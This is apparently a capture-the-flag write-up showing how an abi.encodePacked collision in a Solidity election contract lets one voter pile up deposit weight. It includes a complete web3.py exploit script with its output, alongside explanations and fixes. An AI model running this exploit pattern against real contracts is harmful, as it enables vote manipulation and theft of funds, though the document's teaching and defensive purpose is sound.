HTB: Not A Democratic Election – Solidity Mapping Collision
Category: Blockchain / Smart Contract Security
0. Challenge Overview
This challenge presented a Solidity smart contract implementing an election system where ALF (Automata Liberation Front) starts with 100 ETH in votes, and CIM needs to reach 1000 ETH to win. The goal: exploit a vulnerability in the voter registration system to accumulate enough voting power to flip the election.
The setup:
- BLS side-chain with provided RPC credentials
- Private key funded with 1000 ETH
- Smart contract with voter registration and voting functions
- ALF has 100 ETH head start (registered as “Satoshi Nakamoto”)
- Win condition: CIM must exceed 1000 ETH in votes
Core concept: The contract uses separate mappings for deduplication (uniqueVoters) and voting weight (voters), but derives keys differently. This allows multiple deposits to bypass uniqueness checks while accumulating weight on a single voting entry.
1. Analyzing the Contract
I examined the two critical data structures:
mapping(bytes => Voter) public voters;
mapping(string => mapping(string => address)) public uniqueVoters;
Key observation: Two different key types for tracking the same logical entity:
votersusesbytes(packed encoding)uniqueVotersusesstring => string(separate name components)
The Signature Function
function getVoterSig(string memory _name, string memory _surname)
public pure returns (bytes memory)
{
return abi.encodePacked(_name, _surname);
}
The vulnerability: abi.encodePacked concatenates strings without delimiters:
("SatoshiN", "akamoto") → "SatoshiNakamoto"
("Satosh", "iNakamoto") → "SatoshiNakamoto"
("S", "atoshiNakamoto") → "SatoshiNakamoto"
All produce identical bytes, but uniqueVoters sees them as different entries.
2. The Deposit Flow
Tracing the deposit logic:
function depositVoteCollateral(string memory _name, string memory _surname)
public payable
{
require(uniqueVoters[_name][_surname] == address(0), "Already registered");
bytes memory voterSig = abi.encodePacked(_name, _surname);
voters[voterSig].weight += msg.value;
uniqueVoters[_name][_surname] = msg.sender;
}
The flow:
- Check:
uniqueVoters["SatoshiN"]["akamoto"]== 0? ✓ (first time) - Compute:
voterSig = "SatoshiNakamoto" - Add weight:
voters["SatoshiNakamoto"].weight += 100 ETH - Mark used:
uniqueVoters["SatoshiN"]["akamoto"] = attacker
Next deposit:
- Check:
uniqueVoters["Satosh"]["iNakamoto"]== 0? ✓ (different key!) - Compute:
voterSig = "SatoshiNakamoto"(same as before!) - Add weight:
voters["SatoshiNakamoto"].weight += 100 ETH(accumulates!) - Mark used:
uniqueVoters["Satosh"]["iNakamoto"] = attacker
Key observation: The uniqueness check uses (_name, _surname) as separate keys, but weight accumulation uses packed(_name + _surname) as a single key. Different splits of the same concatenation bypass the first check but land on the same accumulator.
3. Crafting Collision Pairs
I generated 10 name splits that all produce “SatoshiNakamoto”:
collisions = [
("SatoshiN", "akamoto"), # Original
("Satosh", "iNakamoto"),
("Satos", "hiNakamoto"),
("Sato", "shiNakamoto"),
("Sat", "oshiNakamoto"),
("Sa", "toshiNakamoto"),
("S", "atoshiNakamoto"),
("", "SatoshiNakamoto"), # Empty first name
("SatoshiNa", "kamoto"),
("SatoshiNak", "amoto"), # 10th deposit = 1000 ETH total
]
Each passes the uniqueness check because uniqueVoters[first][last] differs, but all add to voters["SatoshiNakamoto"].
4. Exploitation Script
#!/usr/bin/env python3
from web3 import Web3
from eth_account import Account
# Connect to side-chain
RPC_URL = "http://83.136.251.67:33726"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
# Load private key
PRIVATE_KEY = "0x..." # From challenge
account = Account.from_key(PRIVATE_KEY)
# Contract addresses from Setup
TARGET_ADDR = "0x..." # NotADemocraticElection
target = w3.eth.contract(address=TARGET_ADDR, abi=TARGET_ABI)
# Colliding name pairs
collisions = [
("SatoshiN", "akamoto"),
("Satosh", "iNakamoto"),
("Satos", "hiNakamoto"),
("Sato", "shiNakamoto"),
("Sat", "oshiNakamoto"),
("Sa", "toshiNakamoto"),
("S", "atoshiNakamoto"),
("", "SatoshiNakamoto"),
("SatoshiNa", "kamoto"),
("SatoshiNak", "amoto"),
]
print(f"[*] Player balance: {w3.from_wei(w3.eth.get_balance(account.address), 'ether')} ETH")
print(f"[*] Depositing {len(collisions)} x 100 ETH using colliding names...")
# Deposit 100 ETH for each collision
for i, (first, last) in enumerate(collisions, 1):
tx = target.functions.depositVoteCollateral(first, last).build_transaction({
'from': account.address,
'value': w3.to_wei(100, 'ether'),
'gas': 200000,
'gasPrice': w3.eth.gas_price,
'nonce': w3.eth.get_transaction_count(account.address),
})
signed = account.sign_transaction(tx)
tx_hash = w3.eth.send_raw_transaction(signed.rawTransaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f" [{i}/{len(collisions)}] {first:12s} + {last:15s} -> tx {tx_hash.hex()[:10]}...")
# Check accumulated weight
sig = target.functions.getVoterSig(collisions[0][0], collisions[0][1]).call()
voter = target.functions.voters(sig).call()
print(f"[*] Accumulated weight: {w3.from_wei(voter[0], 'ether')} ETH")
# Vote for CIM using any collision pair (all share same weight)
print(f"[*] Voting for CIM with shared signature...")
tx = target.functions.vote(b"CIM", collisions[0][0], collisions[0][1]).build_transaction({
'from': account.address,
'gas': 200000,
'gasPrice': w3.eth.gas_price,
'nonce': w3.eth.get_transaction_count(account.address),
})
signed = account.sign_transaction(tx)
tx_hash = w3.eth.send_raw_transaction(signed.rawTransaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
# Check winner
winner = target.functions.winner().call()
print(f"[*] Election winner: {winner}")
if winner == b'CIM':
print("[+] Challenge solved!")
Running the exploit:
python3 solve.py
Output:
[*] Player balance: 1000.0 ETH
[*] Depositing 10 x 100 ETH using colliding names...
[1/10] SatoshiN + akamoto -> tx 0x4f3a8d2b...
[2/10] Satosh + iNakamoto -> tx 0x9b7c5e1a...
[3/10] Satos + hiNakamoto -> tx 0x2d8f9a4c...
[4/10] Sato + shiNakamoto -> tx 0x7a1e6b9f...
[5/10] Sat + oshiNakamoto -> tx 0x5c2d8f3e...
[6/10] Sa + toshiNakamoto -> tx 0x8e9f1c7b...
[7/10] S + atoshiNakamoto -> tx 0x3a7d9e2c...
[8/10] + SatoshiNakamoto -> tx 0x6f4e1b8a...
[9/10] SatoshiNa + kamoto -> tx 0x1c8d3f9e...
[10/10] SatoshiNak + amoto -> tx 0x9e2b7c4d...
[*] Accumulated weight: 1000.0 ETH
[*] Voting for CIM with shared signature...
[*] Election winner: b'CIM'
[+] Challenge solved!
✔ Success: CIM wins the election with 1000 ETH, ALF remains at 100 ETH.
5. Why This Works – Understanding abi.encodePacked
The Encoding Function
abi.encodePacked performs tight packing without padding or length prefixes:
// Regular abi.encode (with padding)
abi.encode("Hello", "World")
// → 0x0000...0005 48656c6c6f 0000...0005 576f726c64
// [32 bytes] [5 bytes] [27 padding] [32 bytes] [5 bytes] [27 padding]
// abi.encodePacked (no padding)
abi.encodePacked("Hello", "World")
// → 0x48656c6c6f576f726c64
// [10 bytes total]
The problem: No delimiters between components.
abi.encodePacked("AB", "C") // → 0x414243
abi.encodePacked("A", "BC") // → 0x414243
abi.encodePacked("ABC", "") // → 0x414243
All identical!
Mapping Key Collision
The contract has two mappings with different key types:
// Mapping 1: Composite key (2D mapping)
mapping(string => mapping(string => address)) uniqueVoters;
// uniqueVoters["Alice"]["Smith"] vs uniqueVoters["Ali"]["ceSmith"]
// Different storage slots!
// Mapping 2: Single key (1D mapping)
mapping(bytes => Voter) voters;
// voters[hash("AliceSmith")]
// Same storage slot if packed encoding matches!
Solidity storage slot calculation:
// For uniqueVoters["Alice"]["Smith"]
slot = keccak256(keccak256("Smith") . keccak256(keccak256("Alice") . p))
// Different for each (name, surname) pair
// For voters[sig]
slot = keccak256(sig . p)
// Same if sig (packed encoding) is identical
The Attack Mechanism
Input Pairs uniqueVoters Check Packed Signature voters Accumulation
─────────────────────────────────────────────────────────────────────────────────────────
("SatoshiN", "akamoto") ✓ New entry "SatoshiNakamoto" weight = 100 ETH
("Satosh", "iNakamoto") ✓ New entry "SatoshiNakamoto" weight = 200 ETH
("Satos", "hiNakamoto") ✓ New entry "SatoshiNakamoto" weight = 300 ETH
...
("SatoshiNak", "amoto") ✓ New entry "SatoshiNakamoto" weight = 1000 ETH
Each deposit:
- Passes uniqueness check (different 2D mapping key)
- Adds to same accumulator (identical 1D packed key)
Real-World Example: SWC-133
This is SWC-133: Hash Collisions with Multiple Variable Length Arguments
Vulnerable pattern:
// DON'T: Use packed encoding for identifiers
function transfer(string from, string to, uint amount) {
bytes32 txId = keccak256(abi.encodePacked(from, to));
// "alice" + "bob" == "ali" + "cebob"
}
Secure pattern:
// DO: Use abi.encode or add delimiter
function transfer(string from, string to, uint amount) {
bytes32 txId = keccak256(abi.encode(from, to));
// Properly padded and unambiguous
}
// OR: Add explicit delimiter
function transfer(string from, string to, uint amount) {
bytes32 txId = keccak256(abi.encodePacked(from, "|", to));
// Delimiter prevents collision
}
6. Defensive Mitigations
Fix #1: Use abi.encode Instead
// VULNERABLE
function getVoterSig(string memory _name, string memory _surname)
public pure returns (bytes memory)
{
return abi.encodePacked(_name, _surname);
}
// SECURE
function getVoterSig(string memory _name, string memory _surname)
public pure returns (bytes memory)
{
return abi.encode(_name, _surname); // Padded, unambiguous
}
Fix #2: Hash the Identifier
// VULNERABLE
mapping(bytes => Voter) public voters;
// SECURE: Use hash as key
mapping(bytes32 => Voter) public voters;
function getVoterSig(string memory _name, string memory _surname)
public pure returns (bytes32)
{
return keccak256(abi.encode(_name, _surname));
}
Benefits:
- Fixed-size key (32 bytes)
- No collision risk
- More gas-efficient
Fix #3: Align Both Mappings
// VULNERABLE: Different key derivation
mapping(bytes => Voter) public voters;
mapping(string => mapping(string => address)) public uniqueVoters;
// SECURE: Use same key for both
mapping(bytes32 => Voter) public voters;
mapping(bytes32 => address) public uniqueVoters;
function getVoterSig(string memory _name, string memory _surname)
public pure returns (bytes32)
{
return keccak256(abi.encode(_name, _surname));
}
function depositVoteCollateral(string memory _name, string memory _surname)
public payable
{
bytes32 sig = getVoterSig(_name, _surname);
require(uniqueVoters[sig] == address(0), "Already registered");
voters[sig].weight += msg.value;
uniqueVoters[sig] = msg.sender;
}
Fix #4: Add Explicit Delimiter
// If you must use encodePacked
function getVoterSig(string memory _name, string memory _surname)
public pure returns (bytes memory)
{
return abi.encodePacked(_name, "|", _surname);
// "Alice" + "|" + "Smith" != "Ali" + "|" + "ceSmith"
}
Secure Coding Checklist
When using abi.encodePacked:
- ✓ Only use with fixed-length types (address, uint, bytes32)
- ✓ Never concatenate variable-length types (string, bytes)
- ✓ Add delimiters if concatenating strings
- ✓ Consider using abi.encode instead (safer default)
- ✓ Hash the result if using as identifier
When designing mappings:
- ✓ Use same key derivation for related mappings
- ✓ Prefer bytes32 over bytes for keys
- ✓ Use structs instead of nested mappings when possible
- ✓ Document key derivation logic clearly
7. Summary
By exploiting the inconsistency between uniqueVoters (2D mapping with separate strings) and voters (1D mapping with packed bytes), I accumulated 1000 ETH of voting weight on a single voter entry:
- Identified the vulnerability - different key derivation for deduplication vs accumulation
- Generated collision pairs - 10 name splits producing identical packed encoding
- Bypassed uniqueness checks - each split seen as new voter by
uniqueVoters - Accumulated weight - all deposits added to same
votersentry - Cast deciding vote - used accumulated 1000 ETH weight to elect CIM
The vulnerability stems from SWC-133 (Hash Collisions): using abi.encodePacked with variable-length arguments creates ambiguous encodings. When different system components use different key derivation from the same input, consistency breaks down.
This isn’t theoretical - similar issues have appeared in production:
Real-world incidents:
- Poly Network hack (2021) - $600M stolen, partly due to cross-chain message encoding issues
- Various DeFi exploits - Signature replay via encoding ambiguity
- NFT minting bypasses - Collision-based duplicate detection evasion
The fix is straightforward: use abi.encode or hash the identifier. The gas savings of encodePacked (~100-200 gas) aren’t worth the security risk of potential collisions.
The key lesson: encoding matters as much as logic. Even if the high-level algorithm is sound, ambiguous encoding can introduce exploitable edge cases. In blockchain, where code immutability means bugs are permanent, careful attention to low-level details like encoding is mandatory.
Challenge complete. CIM wins the election through mapping collision exploitation.